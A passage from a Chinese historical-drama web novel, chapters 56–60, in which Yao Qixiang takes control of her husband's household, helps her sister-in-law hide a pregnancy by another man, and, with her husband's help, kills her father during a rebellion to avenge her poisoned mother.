姚戚香掀眸去瞪他,一瞬间却与孟扶危目光相对,他那双如墨的眼眸中倒映的都是她的影子。 姚戚香抿住了唇,一下子反驳不出来了,她只道:“我不管这些,孟扶危,我明明白白告诉你,我嫁给你,就是为了报仇的,你别想拦着我。” “我不拦你。”孟扶危道,“可此事需要从长计议,姚戚香,你要报仇就非得搭上你自己吗?” “这是眼下最快的法子!”姚戚香道,“我已经等了很久了,我等不了更久了,我还能等到什么时候?等姚振廷老了吗?还是等他告老还乡?” 孟扶危:“不用,很快 ,我跟你保证。” “你拿什么保证?”姚戚香攥紧了手,“要不,你把红绡和茗玉都带回去,我一个人去姚家,我一个人去找姚振廷算账,我绝不连累你!” “我什么时候骗过你?”孟扶危紧紧抓着她,不让她下车,“你信我这一次,我绝不让你失望,我保证,一定让你亲手报了仇。” 他字字有力,禁锢着她的手分毫不曾松懈,姚戚香挣了半晌,终于卸下力来。 紧接着一滴眼泪从她眼角滑下,被她自己飞快抹去,可眼泪就像怎么都拦不住一样,一滴一滴往下掉,姚戚香要伸手去擦,孟扶危又来握住她的手,把她拉进了怀里。 他在她耳边说:“哭又没什么。” 说完,他又对外道:“你们去前面的巷子里等。” 一句话让马车外候着的人都走开了。 姚戚香趴在孟扶危肩上,起初只是流泪,后来改为了小声低泣,她断断续续地哭着,心里不住回忆起她娘缠绵病榻的那几日。 天啊,姚振廷竟然就为一个相师的几句话,要了她母亲的命。 她姚戚香,为何会托生在一个这样的人家里? 她原以为是妻妾相争,她的母亲不敌邓氏罢了,可她却是死在自己的丈夫手上。 这种答案,令姚戚香气愤至极,又毛骨悚然。 约莫过了一刻,姚戚香从孟扶危怀中起身,她轻声道:“走吧,回去。” 孟扶危:“府上没做吃的,我在千味楼点了几道菜,你想不想去换换口味,顺便散散心?” 其实去哪儿都一样,都没什么区别,姚戚香点了点头。 孟扶危从袖中取出一块干净的帕子给她,道:“擦一擦。” 姚戚香接过帕子,往脸上擦了擦,她想着今日的事,想着邓氏说的那些话,想着 姚振廷,心想,是啊,她凭什么要为了姚振廷这样的人,再赔上她自己? 她要痛痛快快地活着,看着姚振廷去死。 第57章 第57章 嫂嫂你月信准吗? 回到府中, 休息了一夜,姚戚香开始打起精神,无论如何, 她也要先将府上的事料理了, 好不容易拿到的掌家之权,可不能在这个节骨眼上出了岔子。 第二天一早,姚戚香便翻阅了府上用人的花名册, 细细盘查了这些人的籍贯来历, 又有茗玉帮她,跟她提醒这些人平日都做些什么,跟什么人接触最多…… 慢慢看下来,姚戚香发现, 常秋兰这个人, 竟然在二房和三房都安插了自己的人手在,她没有亲自动手处理,而是将此事透给了孙月瑶和宜宁县主,让她们二人自行决断。 至于她,二话不说便将常秋兰伸到松风堂来的手全都快刀斩乱麻处置了个干净,良籍的发还回家, 死契的打发去外面的庄子上做事, 最要紧的是眼下要让常秋兰无人可用,无法再手眼通天。 做完这些, 她又惯例地往云栖堂安排去了自己的人,这是姚戚香第一次让孟扶危安排之外的人替她做事, 虽然谈不上有多信任,就算此人最后倒戈了,因只有这一个, 料理起来也十分方便。 不过结果比她料想的要好,纵是常秋兰过去掌管孟家十数年,可她而今膝下已经没了儿子,大势已去,孟祁柏又忙着娶二房,无人会在意一个人老珠黄的常氏。 被她送去的人没几天,便向她递来了消息,道:“孟二公子的那几个通房,昨夜悄悄溜了,把屋里值钱的东西全拿走了,今天早上那边才发现,气得连早饭都没有吃下。” “嗯。”姚戚香点点头,不予置评,但让茗玉给了赏银才叫她下去了,这样一开始做卧底的新人,就是要多多鼓励的。 看来,她那天在孟元德将死之时说的那几句话管用了。 说话的时候孟扶危就在屋里,姚戚香那天跟孟元德的通房说了什么话,他并不清楚,只是他见妻子一脸理应如此的表情,不禁问:“你做的?” “嗯。”姚戚香也没必要瞒着,大大方方承认,“我跟她们说,婆母想让她们给孟元德陪葬。” 这种事,她们肯定不敢去和常秋兰对峙,除非疯了。 “你看她们可怜,想让她们早点卷钱走人?”孟扶危不确定地试问,倒不是他觉得他这夫人绝不会有这样的好心,而是眼下这个节骨眼上,她很不必节外生枝。 “不是呀。”姚戚香否认,“我自然是怕,万一后面常秋兰转过弯来,揪住一个通房说怀了孟元德的身孕,到时候拿着个遗腹子,挟天子令诸侯怎么办?” 哦,那就对了。 孟扶危没再说什么,刚巧这会儿,那只黄白的狸猫从外面跑了起来,一阵风似的,飞快地往桌子底下一钻,又飞速跑出去了,也不知自己在玩什么呢。 姚戚香看见它,眼中不觉露出笑意。 孟扶危道:“昨日让天禄看过,它的伤好得差不多了,正好今日让天禄把它丢到外边去。” “今天?!”姚戚香的声音一下子高昂起来,她睁圆了眼睛,一眨不眨盯着孟扶危。 “嗯,横竖也留它许久了。”孟扶危道,“你既不喜欢它,也没必要再留。” 姚戚香欲言又止了好几次。 见她没有异议,孟扶危便起了身,一边道:“我去让天禄进来。” 说着就往外走。 “哎!”姚戚香以为他真去,一下站起身来,“它这么一只小猫,丢出去了,还怎么活?” 孟扶危站住了脚,道:“那夫人的意思是?” 姚戚香抿了下唇,她当然记得,当初是她说不喜欢这小破猫的,但是横竖院子这么大,花草也都长得好好的,天天看着这么个家伙跑来跑去…… 她有点舍不得了。 “……”姚戚香想留着,又犹豫,半天也没能说出一句话来。 孟扶危又转了身,往外走。 “哎!”姚戚香几步追上,“它能吃多少呀,养着就是了。” 等她追了上去,看向孟扶危时,才发现他眼中带着笑意,姚戚香恍惚了一瞬,反应过来:“你是不是故意试探我?” 孟扶危没应,只道:“那就养着吧。” “……”姚戚香无话可说,孟扶危不接茬,她又不能追问。 她忍不住想,会不会打从孟扶危带这只猫回府的那日,就知晓会有这么一天了? 晚些时候,两房妯娌来这边找姚戚香说话,入了夏,孙月瑶本就怕热的人,更是深思倦怠起来,人虽然到了,但只是小口喝茶,懒懒的,说话的多半是姚戚香和李嘉荣。 忆及上回的话题,姚戚香问她:“孟檀近日还总是出去吗?不留在府上陪你?” 李嘉荣想了想,道:“近日出去得少了,不过我爹不晓得找他什么事,时不时就要叫他去,对比下来,我这个女儿竟才像是外人一般。” 姚戚香皱了下眉,从上回李嘉荣说起此事,姚戚香便隐隐有种感觉,今日又听她这么一讲,那种感觉便更深了——总觉着,孟檀不是真的和李嘉荣两情相悦才娶她,而是看中了县主身后护国公的家世。 否则,姚戚香想不出有什么理由,让孟檀能够在外殷勤得都能抛下新婚的妻子,既然真是两情相悦,眼下正是新婚燕尔,蜜里调油才对,孟檀怎么可能会丢下李嘉荣不管? 若孟檀本来就是个知晓上进的,倒也罢了,可孟檀不说对学业倦怠吧,但至少是没那么上心的。 从前说他年轻,没人逼着他,可眼下他已成婚了,总不能再像从前那般肆意了。 “嘉荣,你自己觉得,孟檀婚后待你如何?”姚戚香道。 李嘉荣眨了下眼睛,要是放在从前,她真能毫不犹豫便说一句,孟檀喜欢她喜欢得不得了,可她不明白,为什么成亲之后,一切都变了呢? 她摇了摇头,“我不知道该怎么说,我最近有种感觉,仿佛他与我爹,才是最亲近的两个人,与我倒像是隔着一层似的,就连对着我爹,我也是这种感觉。” 姚戚香皱了皱眉,“近日,是护国公主动找孟檀过去吗?你可知晓他们最近在干什么?” 李嘉荣摇了摇头:“我并不知,不过的确每次都是我爹先派人请他过去,明面上的说辞是,要给孟檀谋个差事,可这都大半个月过去了,我想,什么差事都能有个定论了,何况这并不是什么难事,可他们竟还在商议。” 孙月瑶最近听多了戏,脑子里突然冒出一个大胆又荒谬至极的想法,会不会孟檀和护国公他们…… 顿了顿,孙月瑶又暗自摇了摇头,应该不会吧?她这个想法确实扯了些。 也不知道下回李江什么时候过来…… “嘉荣,你出嫁前,孟檀与护国公来往密切吗?”姚戚香问。 她这个问题,不由叫孙月瑶又直了眼睛,难道阿香和她竟是同一种想法!? 李嘉荣回忆道:“尚可,孟檀来拜见过几次,不过也只是在客室那边坐坐,也就走了。” “也就是说,你并不知晓他二人私底下有无往来?”姚戚香又问。 孙月瑶不禁挺直了背,抓着椅子扶手的手都攥紧了,以为自己能从中听出一场大戏来。 李嘉荣咋舌:“这我并不知,我爹平日出府,去向也不会告知我的。” “怎么了?嫂嫂怎么问这些?”李嘉荣道。 姚戚香摇了摇头,她笑道:“我只是想知道,你和孟檀是如何相识,如何好上的罢了,这中间竟然没有护国公的牵线吗?” “我和孟檀是骑马相识的。”李嘉荣道,“那日刚巧下了雨,山路崎岖,我下不去,正巧遇见他,他带我去山洞里躲了一阵子,我本来还心慌得很,谁知他君子得很,根本没有对我怎么样,甚至都没有多往我这边看。” 这实在太像是一场刻意的设计了,不过姚戚香没有明说,有的时候,对于当局者来说,不打破她心中认定的一件事才是对她最好的。 “原来如此,你和孟檀真是天公作美。”姚戚香笑着称赞了一句。 李嘉荣面上也浮现出几分不好意思的羞赧来,她目露怀念,那个时候的她以为,这世上最好的事便是和孟檀成亲,可等她成了亲才发现,竟然远远比不上那个时候她和孟檀在一起。 说完了话,李嘉荣起身告辞,孙月瑶没有急着走,而是打算留下问问姚戚香她方才猜对了没有,她特意遣散了下人,神神秘秘的,惹得姚戚香好奇。 “嫂嫂,你想干什么?”姚戚香问。 本以为孙月瑶要说的多半是李江的事,谁知她开口道:“阿香,你是不是也觉得,孟檀和护国公之间……不清不楚的?” “啊?”姚戚香大惊,以为自己听错了,“什么?” 孙月瑶:“你问县主那些问题,不就是觉得……孟檀与护国公之间,有、有私情吗?” 姚戚香震撼地看了孙月瑶一眼,忍不住笑了:“我的天菩萨,嫂嫂,你成日脑袋里都在寻思些什么?怎竟然寻思出这样离谱的事来?” 啊?她猜错了? 孙月瑶更加不解:“那你问她那几个问题是什么意思?” “我只是觉得有些奇怪。”姚戚香道,“一开始,我以为是孟檀看上护国公的家世,才私下勾引县主,想要成事,可是从嘉荣的话中,我觉得这里头似乎并不是孟檀单方面的贴近,而是这两人本来就很贴近似的,嘉荣口中的那个初遇,分明就是别有用心之人设计的,可县主的行踪,能是什么人透给孟檀的呢?” 孙月瑶:“你的意思是,护国公想招揽孟檀为婿才这般的?那也不奇怪,孟檀这小子确实生得俊朗,以后说不定有什么出息呢!” 这正是姚戚香感到奇怪的地方,孟檀纵然生得好,可身无功名,纵然身在孟家,出身不差,可又不是嫡系这一脉的,护国公皇亲国戚,很不必为了一个孟檀,将女儿的清白都豁出去将人招揽过来吧? 护国公如此设计,孟檀那边也心照不宣,甚至像是熟知县主的心意,知晓她喜欢什么样的郎君,才十分守礼显露出君子的模样。 两人好不容易成亲了,这本该是护国公喜闻乐见的场面才是,可却又是他,频频叫孟檀出去,一副俨然不顾女儿心情如何的样子,这应当是很频繁的才是,不然也不会叫李嘉荣说出口来抱怨。 护国公与孟檀,究竟想做什么呢? 沉思间,姚戚香余光见孙月瑶打了个呵欠,不免道:“嫂嫂今日倒是多困乏。” “是呀。”孙月瑶懒声回,“今日不知是怎么了,胃口也不大好,什么也吃不下。” 姚戚香正欲开口送她回去,可在触到孙月瑶的衣衫时,她顿了顿,掀眸:“嫂嫂,你这个月的月信,准吗?” 第58章 第58章 孙月瑶有孕 孙月瑶被问得一顿, 压低声音道:“应就是这两日了……怎么?” “你仔细着些,万一月信不来……你知道的。”姚戚香道。 孙月瑶点了点头,也有些后怕, 道:“我一直记着呢。” 送走了孙月瑶, 晚上等孟扶危回了屋,姚戚香便禁不住跟他说起今日与李嘉荣的对话,姚戚香有些想不通:“那晚在三房那边看见她, 见她被众星捧月着, 还以为护国公会是很疼爱她的,怎么这样人家的门第,也会将自己女儿的婚事拿出来做交易?孟扶危,我真不明白, 护国公看上孟檀什么了?” 她说完, 没有得到孟扶危的任何回应,禁不住喊了他两声:“喂!你想什么呢?这么入神?” 孟扶危回过神来,道:“没什么,只是在想成王的事。” “成王要入京了?之前你就说他快杀过来了,是不是要到了?”姚戚香问。 孟扶危点了点头:“快了,为保万全, 成王一路招兵买马, 他来势汹汹,听说入他麾下的许多军士都是迫于形势无奈而为。” 现今太平盛世的, 没几个人愿意打仗,更何况这年头的军士不过是为领几个军饷养家糊口, 可不是真冲着保家卫国去的。 “近日,你多待在府上,不要出去。”孟扶危道。 “哦……”姚戚香也是这么想的, 这可是谋反,谁知道成王杀进京中会做些什么,让她出去她也不会出去。 没想到,这话说完没几日,京城便戒严了,叫官眷都不得到处走动,连商户摊贩都叫闭了门,京中人人自危,府里也骤然安静下来。 也是在这几日,姚戚香在房中抱着猫午睡,孙月瑶慌慌张张寻上门来,跟她说了几个字:“怎么办?我这个月真没来……” 姚戚香起了身,安抚地拍了拍孙月瑶的手,道:“镇定些,你慌什么?你怀的是孟极的孩儿,这可是一件喜事。” 孙月瑶脸色变了又变,见姚戚香神态自若,就知她已有打算,忙问:“你有什么计划?” “就这两日,你想办法和孟极睡一晚,我会给你些药,保管只要他进了你屋里,喝了你屋里的水,夜里便可成事。”姚戚香道,“但你要记住,一切如常,万万不可表露出慌张的模样来。” “我记住了……我记住了。”孙月瑶深呼吸着,自从她与李江开始,其实也早就想到了会有这么一日,只是没想到,这一日会到得这样快。 她忍不住嘀咕:“我还以为,我是不易受孕呢,孟极没少念叨我。” “怎么?怀疑自己,都没想过是孟极不行?”姚戚香挑眉,“你记住了,只要孟极与你在一起了,你腹中的骨肉便是他的孩子,此事无可更改。” 孙月瑶当然知晓此事的紧要程度,点点头:“我记住了。” 没两日便是十五,孙月瑶听了姚戚香的话,先是去云栖堂拜见了一遭,常氏如今身心俱疲,都没和她说两句话,便草草将她打发了。 而后,孙月瑶便以十五月圆的名义,将孟极叫来了。 自从孟极搬去和芸香住,两人一个月也见不着一回,猛然见着了,孟极不免有些心虚,看着一桌子全是他爱吃的菜,笑道:“今儿怎么这么好兴致?” 孙月瑶略施粉黛,多日不见,烛光之下显得分外动人。 孙月瑶没好气:“还不是云栖堂的多事,问起你的事,我不好应付,她便说我正妻就该有个正妻的样子,这不是点我呢?还能怎么着,我自然是要备了好酒好菜,亲去请你这尊大佛了。” 孟极也自知这段时日对妻子有所亏欠,连忙坐下了,然后他也是突然发现,看多了芸香那小家碧玉的姿色,忽然再见妻子,方觉孙月瑶也是格外明艳夺目的。 两夫妻重新聚首,孙月瑶说了两句软和话,哄着孟极吃了几杯酒,用了些菜,再到后来,孟极兴致大发…… 一切都是如此顺理成章。 躺在床上,嫌恶地推开熟睡的孟极时,孙月瑶甚至在想,这种事也不过如此,果然只要听阿香的安排,就什么都能从容应对了。 孟极活烂,孙月瑶在此时,不免想起李江来。 李江虽然青涩,可他很听话懂事,让他干什么便干什么,不让他再要了他也依言停下,孙月瑶觉得,男人就是要这样才有滋味,若非孟家这样的家世,谁能看得上孟极这样的货色。 可孙月瑶心里,又开始隐隐担心起来,万一生了个女儿,那还好说,万一生的是个儿子,与孟极不像,那该如何? 只因这背后的答案是个未知,叫孙月瑶越想越害怕,期间也频频看向孟极,努力回忆着孟极曾经瘦时候的模样,可她发现,无论如何她都想不起来了,除开孟极此刻的模样,她满脑子就只剩下李江。 一想到孟极方才碰过她,孙月瑶有些恶心,自行起身,去让人备了水洗澡。 又过了几日,等事态过去,孙月瑶这才又去了趟姚戚香院里。 “都成了?”姚戚香问她。 “嗯。”孙月瑶点点头,“我今日,想求个结果,看到底是有还是没有,但是不好在我那边直接看。” 姚戚香明白了,她便让茗玉去请钟嬷嬷。 “请她干什么?”孙月瑶有些紧张,钟奚这个人,有多严厉,她可是有所耳闻的。 “现在不好出去请大夫。”姚戚香解释,“你放心,钟嬷嬷是宫里出来的,她精通医理,尤其是精通妇人方面的,只是来把个脉的事,她一定行。” 孙月瑶不好再说什么,有些紧张地等着,待钟奚来了,姚戚香便道:“嬷嬷,我最近自觉与郎君频繁了些,想请您过来看看,是否有子?” 姚戚香如此直白的问话,听得孙月瑶脸上都臊得慌。 不过钟奚神色平平,闻言甚至笑了起来,道:“原来娘子也是盼着的。” “自然。”姚戚香道,“哪个女人会不盼着自己的孩儿呢?” 说话间,姚戚香已让钟嬷嬷把过了脉,钟嬷嬷皱了皱眉道:“娘子并未有孕,不过娘子体内寒气偏重,这样的身子更是不易有孕,而且很容易受寒,腹痛,以老身拙见,还是开几剂温补的药,娘子慢慢喝着,也是养身了。” 姚戚香确实体寒,她之前都没想过要改善体质的事,听钟嬷嬷这么一说便立即点头应下:“多谢钟嬷嬷了。” 说完,她又眼神示意孙月瑶。 孙月瑶鼓足勇气,起身道:“嬷嬷……我、我近来身子也有些不适,听阿香说嬷嬷是妇科圣手,可否请您……也帮我看看?” 钟奚看了眼孙月瑶,道:“我可不是什么妇科圣手。” 说罢,便让孙月瑶也伸手出来把脉,用不了多久,只用须臾,钟嬷嬷便将手松开了。 “孙娘子不适是正常的,你有孕了。”钟嬷嬷道。 “我真有了!”孙月瑶得知此信,心中先是一喜,纵是这个孩子并非孟极的,可她还是觉得欣喜,她终于有了一个自己的孩子。 她高兴地看向姚戚香,姚戚香也望着她笑:“怎么?难道反倒是嫂嫂比我先得子,我却没有了。” 钟嬷嬷笑道:“孙娘子这是盼了多久才有的,娘子还早着,不急。” “今日多谢嬷嬷了。”姚戚香亲自送她出去。 等再回了屋,却见孙月瑶的喜悦丝毫不见了,取而代之的反而是满面愁容。 “怎么了?”她问。 “阿香。”孙月瑶叹了声气,“事到如今,我是不是该与李江断了?” “……怎么?嫂嫂难道还不想断?”姚戚香抬手覆上她的肚子,“咱们不是已经利用他得着一个孩子吗?眼下与他断了联系,是最好的时候。” “我知道,可我……一开始也不是为着孩子来的。”孙月瑶又叹了声气,这个孩子于她只是意外之喜,她心中还放不下李江这个人。 “嫂嫂。”姚戚香正色起来,“你难道对李江生了情?你不想与他断了对不对?” 孙月瑶知道此事事关重大,一时没有开口。 “嫂嫂,你需知道,这种事,我能替你瞒得了一时,瞒不了一辈子。”姚戚香徐徐说着,“万一以后有了什么,东窗事发,不论是你还是李江,都活不了,你想想你腹中这个孩子,之后又会被如何对待?” 孙月瑶紧紧咬着唇,面色苍白,仿佛已经从姚戚香的话中预见了那副凄惨的境地。 “是、是,是我猪油蒙了心了。”孙月瑶忙道,“我这便与李江断了,永远断了,再也不联系他了。” “嫂嫂,保险起见,也不要让他知道你怀了他的孩子,人心易变,万一他以后生了异心,那咱们无疑是多了个隐患。”姚戚香道。 “我知道了。”孙月瑶低声应下,心事重重地回去了。 姚戚香看着她失魂落魄的样子,忍不住想,当初是她为了拿捏孙月瑶,才让这两人相识的,现在又让孙月瑶强与李江断了,会否有些残忍呢? 第59章 第59章 大仇得报 接下来几日倒也算相安无事, 姚戚香谨记着孟扶危的话,没有踏出孟府一步,一面暗暗算计着究竟如何能让姚振廷死。 她原以为孟扶危那天叫她回来, 说不定是有些打算的, 可直到现在都一句话没提,姚戚香思来想去,觉得报仇这件事, 还是要自己打算的好。 可眼下时局正乱, 她又出不去,便无法筹谋,也只能等京中太平了再说了。 正值仲夏,京城连着下了两日的大雨, 天气阴沉沉的, 孙月瑶以身子欠安为由请了次大夫,这回请的大夫是过了明路的,是以请完大夫没多久,孟极就知晓了孙月瑶有孕的消息。 两人成亲以来一直没个孩子,芸香的肚子也一直没个消息,偶然得子, 孟极心中喜不自胜, 赶忙通知了全府要大办一场庆贺宴来。 孙月瑶见他这个样子,便知孟极对孩子的来源毫无怀疑, 不由嗤笑:“不过是怀了,是男是女都不确定, 能不能平安生下来也不确定,怎么就值得你这样高兴了?” 孙月瑶有孕,孟极看她格外顺眼, 喜滋滋道:“这还用说?我的孩子,那必定是个儿子!” 他盼儿子不假,就算是孙月瑶自己,也盼儿子,可她听见孟极这样说话,心中就不大乐意了。 女儿又如何?哼,这可不是你孟极的孩子。 这种情绪,孙月瑶并未显露出来,由着孟极大操大办,只问:“近日京中不是戒严吗?你行事方便吗?” 孟极道:“等着赚钱的人不有的是?一听是孟家要办喜宴,上赶着来做生意的不少呢。” 孙月瑶隐隐有些担心,道:“就别大操大办了,随便阖府吃个饭就好,这个节骨眼上,京中戒严是为了什么?你也小心着些。” 毕竟家里前脚刚出了孟元德的事,孟极突然也反应过来,感慨道:“还是你想得周道,那就简略些好了。” 府上冷清了多日,孟极忽然主张要办喜宴,府上无人反对,都觉得冲冲府上的晦气也是好的,于是孟家的人竟都来了,这是上次宜宁县主进门之后,第一次与一大家子一起吃饭,宴上不说办得有多华丽,但菜色都可口精致。 孟极此人,办别的大约是不行的,但是说到吃,就没有他不懂的。 孙月瑶有孕一事,也就此传开来了。 李嘉荣得知此事,高兴得送了孙月瑶一对玉观音。 “我祝嫂嫂你呀,一举生下一对龙凤胎,那才好呢!”李嘉荣喜滋滋道,她就很想生龙凤胎,这样一次性男孩女孩都有了,多方便呀,不用受第二回罪了。 孙月瑶笑着回道:“那我就承县主这份情了。” 姚戚香道:“其实只要孩子平安出生,健健康康的,比什么都好。” 今日的宴会,人近乎齐全了,连常秋兰和孟祁柏都到场了,二房和三房的两个叔叔也在,孟扶危不在,他进宫了,说晚点回来。 可孟檀竟也不在。 “三郎呢?”孙月瑶问李嘉荣。 “他呀……”李嘉荣目光落寞,“他早晨就出去了,也没跟我说是去做什么。” 看来,这二人婚后生活实在不谐,就连姚戚香上回都教李嘉荣不要一味迎合了,也没什么用。 孟檀的心思,根本不在李嘉荣身上。 “怎么三弟这阵子在忙什么?”孟极道,“就连我也很少见他。” 李嘉荣哪里知道?正要神色尴尬地摇摇头,就听见外面传来一阵匆匆的脚步声,紧接着就有人高声呼喝:“孟氏一族,勾结反王李漓,证据确凿,阖族问斩!” 这话一出来,所有人俱是一愣。 “什么?什么勾结反王?”孙月瑶慌得正要起身,被姚戚香一把按住。 “不慌。”姚戚香道,“听他们怎么说。” 姚戚香不信,孟家这么多人,说斩就斩了?什么证据确凿,哪儿来的证据?难道是孟元德的事又翻出旧账来了? ……等等。 姚戚香忽然意识到了什么,猛然看向李嘉荣。 就在她看向李嘉荣的下一瞬,几人冲进了府,是殿前司的人,二话不说将他们这些人团团围住,道:“孟檀伙同护国公勾结反王李漓,已经逃出城外去了,证据确凿,陛下命我来将你等收监,择日问斩。” “什、什么!?”李嘉荣惊得站了起来,“他们谋反?逃出城去了?” 她满脸的不可置信,一双美目中有十足的凄然,她的父亲,竟然伙同她的丈夫谋逆,且还都丢下她跑了…… “我娘呢?”李嘉荣颤声问。 “护国公夫人已被软禁国公府。”来人道,“暂无性命之虞。” 李嘉荣松了口气,人没事就好。 只是姚戚香,禁不住瞥向来说话这人,这人说话竟这样周全客气,还要提醒一句无性命之虞? 殿前司的?莫不是……孟扶危派来的? 对,这么大的事,孟扶危怎么可能毫无察觉?此事定然在孟扶危的计算之中。 想到此,姚戚香定了定神,上前对那人道:“这位将军,可否借一步说话?” 那人看了看她,示意其余几人看好众人,与姚戚香走到了一旁。 姚戚香正欲开口询问,谁知那人竟先一步道:“姚娘子,孟司使请您跟我们走一趟,还请您回屋速速更衣,换身轻便的衣服。” 姚戚香一怔,立时道:“我要如何信你?” 那人拿出一条红绢,姚戚香看见便知,那是她的头绳…… 头绳的事,只有她和孟扶危知道是怎么一回事,就算别人想要冒充孟扶危,也不会拿这种莫名其妙的东西来充当信物。 “好。”这下姚戚香彻底放心了,她突然发现,她心底里其实早就很信任孟扶危了,“我去更衣,你们叫你们的人仔细些,孙月瑶有身孕,不要伤了她。” “姚娘子放心,我们只是来走个过场,成王打进城来了,我们这波人走不到大狱去。” 已经杀进来了?她还以为造反势必会有很大阵仗,没想到竟这般悄无声息。 她没有再耽搁,速速回去更衣,换了收口袖的利落裙裾,戴上斗笠,这才同人一起出府。 “姚娘子,马车太过显眼,我等便守在这里,自有人带您过去。”那人说完,转而进了府。 姚戚香正欲问是什么人,就听见一阵哒哒的马蹄声,一黑衣女子骑马走来,姚戚香抬头去看,竟是红绡! “上来。”红绡伸出手,“大路那边不好走,我们穿小路过去。” 姚戚香上了马。 等出了孟府周围,绕进了小巷,姚戚香才听见隐隐约约的厮杀声,后来声音越来越近,越来越清晰,喊杀声一片,甚至还能听见射箭的声音,有一支羽箭从她们头顶穿过,射中了某家的灯笼,姚戚香紧张得全身都紧绷起来。 整个过程,红绡都一言不发,策马疾驰。 大约一刻钟过去,红绡勒马放姚戚香下去,姚戚香往前走了两步,先是看到一条暗巷,紧接着在里面看到一辆马车,马车旁,站着一身乌衣的孟扶危。 他一袭劲装,样子是她从未曾见过的利落英气,神色宁和,在看到她时甚至露出一抹平和的笑意,仿佛丝毫不为眼下着急。 “……孟扶危。”姚戚香急急走近,“你让我出来干什么?孟檀真的投了李漓?” “嗯。”他平静地答复着,站在她身侧下意识做出回护的动作,然后递给她一把短剑。 “……做什么?”姚戚香怔怔。 “姚振廷此刻就在府上。”他说,“我带你去见他。” 闻言,姚戚香下意识紧握住了剑柄。 是啊……是啊,她怎么没想到,眼下趁乱杀了姚振廷,谁知道姚振廷是死在谁的手上!? “你是不是那日就是如此打算的?”她问。 “嗯。”孟扶危应她,“那时还不知成王何时来犯,故而没有对你明说。” 他一手紧握着她,带她穿过这条暗巷,往前一走便是姚府的入口。 姚戚香看着“姚府”那两个字渐渐近了,心口也怦怦乱跳起来,她从没有哪日有过此刻这样决然的心情,她非常确定,这绝对是她最后一次回姚家了。 “姚府已经被我控制,你可以直接去找他,我在外面等你。”孟扶危道。 姚戚香闻言甚至都顾不上回头看孟扶危一眼,她一想到一会儿要做什么,整个人就禁不住发抖。 一半是激动,一半是惧怕。 她从未亲自动手杀过人,何况这个人,还是她的亲生父亲。 可就是因为如此,正是因为如此,她才会如此激动。 那个令她厌恶透顶的人,看一眼都嫌恶心的人,她终于可以亲手除去了。 姚戚香紧紧握住了剑柄。 如孟扶危所说,姚家的所有家丁下人都倒在地上,整个院子空荡荡的,她没有去别的地方,而是径直去了姚振廷的屋里。 隔着门,她就听见里面传来断断续续的呜呜声和挣扎的声音,她一脚踹开了门,看见里面被吓了一跳的姚振廷,正吃惊地朝她望来。 看见是她,姚振廷双目露出一丝笑意,他嘴上被塞着厚布,整个人被紧紧捆在柱子上,一个劲朝姚戚香点头,示意她快来救他。 姚戚香也笑了,她紧紧握着手里的短剑,道:“父亲,女儿这就让您解脱。” 她浑身的气质如此阴郁,一双眼也漆黑不见底,就这么面无表情盯着姚振廷看,盯得姚振廷不由生出一丝惧意来。 姚戚香伸手,拿掉了他口中的厚布,她不知道孟扶危能给她拖延多久,所以她并不准备浪费时间,直截了当问道:“你杀了我娘,你认吗?” 姚振廷一怔,顿时反应过来他这个女儿并非来救他的,立马道:“你在说什么!你娘分明是被邓穗音那个贱妇害死的!” “这套说辞你早就想好了吧?”姚戚香手起刀落,直接拽住姚振廷的耳朵,一把割了下来。 姚振廷凄惨地叫了一声,拼命挣扎着,可他身上的绳索捆得极紧,无论如何都挣扎不开。 “你这个孽障!你要做什么!你连杀叶蓉的凶手都不知道是谁!竟还对你亲爹动手!” 姚戚香便将剑尖抵在姚振廷的一只眼睛上,她问:“真的不打算认吗?你是不是真的觉得,我什么都不知道?” 她故意:“当年那个相师,还活着呢。” 如此近的距离,她果然看到姚振廷的眼神变了变。 “我、我……我并未想要害她性命!这些年我已经十分后悔了!爹错了,爹真的错了,咱们一家人以后好好过日子,我回头马上就休了邓氏,这还不行吗!” “你承认了就好。”姚戚香目光淡漠下来,她紧握着剑柄,手在发颤,可还是毫不犹豫捅了姚振廷一剑,捅在他腹上,她听说,这个地方不会那么容易死。 “这么些年来,我都没有想到,原来是你害了她。”姚戚香声音淡漠,“我本打算一刀杀了你便好的,可一想到我母亲生前,那么痛苦,她是中毒而死,死得想必很惨。” “这些痛苦,你姚振廷怎能不一一承受呢?” 姚振廷的腹部被刺破了,汩汩流着血,姚振廷神色大惊,他终于意识到,这个孽障竟是真打算杀了他! “我真的错了!当年是邓氏那个贱人蛊惑我,我才那么做的!我承认这些年来我一直亏欠你,当年也亏欠你娘,现在你捅我一刀,又割我一只耳,怎么也算解气了!乖女儿,我求你了,就饶爹爹一命,以后咱们还是一家人,还是好好过日子,否则今日的事要是传扬出去,你要怎么做人?” “我怎么做人?”姚戚香见姚振廷为了苟活,连这种话都说得出,不由笑出声来,“姚郎中说什么呢?孟府涉嫌谋逆被围,我身为孟家儿媳,此刻正被扣在孟府呢,哪里有空来你这里。” “今日杀你的,分明是反王部下。”她说完,又当胸捅了姚振廷一剑。 胸口的骨头可真硬啊,她捅了两下,才完全捅进去,没多久,姚振廷便断了气。 姚戚香看着这一幕,有些怔然,她竟真的这样做了。 …… “好了吗?”孟扶危的声音适时在她身后出现,他就像是掐着点来的一般,险些吓了姚戚香一跳。 她看向身后,眼神有些惶恐,真正杀人的感觉……原来是这样的,这样令人……她身上像是爬满了蚂蚁,每一个地方都格外不适。 孟扶危越入门中,他没有去看已然断气的姚振廷,而是拉起姚戚香的手,掏出帕子,一点点擦着她手上沾染的血迹。 他这样沉稳,这样满不在乎,这样平静,姚戚香本应觉得诡异的,可更诡异的是,她竟然也跟着平静了下来。 “走吧。”他说。 “去哪儿?”姚戚香急急走了两步,甩开身后那具尸体,仿佛什么都没有发生过一般。 “该回孟家了。”【你现在阅读的是 】 【终章】 第60章 第60章 一起回家 回孟府的路远没有来时容易, 成王的兵已经阻隔了所有的大路,姚戚香来时的一条小路也被拦截了,只能想法子一边躲避反贼, 一边转圜出去。 “这个拿好。”孟扶危递给她一截短刀, 长得像个镜子,需要往上一拨,清亮的刀刃才会出来。 “藏在袖子里。”他嘱咐, “手里的短剑也不要扔, 他们看见你拿着短剑,多半会觉得你身上没有其他防具。 ” 姚戚香怔了怔,孟扶危这是什么意思? “我要去一趟皇城司,今夜反贼必定被平, 红绡和茗玉会送你回去, 乖乖待在府中,不要出来。” “你……你又要一个人走?”姚戚香忍不住想起上次在千味楼,他也是这样一副表情,将她护在身后,嘱咐她快走。 姚戚香心里忽然一揪,哪里有那么多万全之策?孟扶危真能确定他就能平安吗?当时千味楼多么凶险…… 眼下的情状也足够凶险, 可她自知帮不上孟扶危什么, 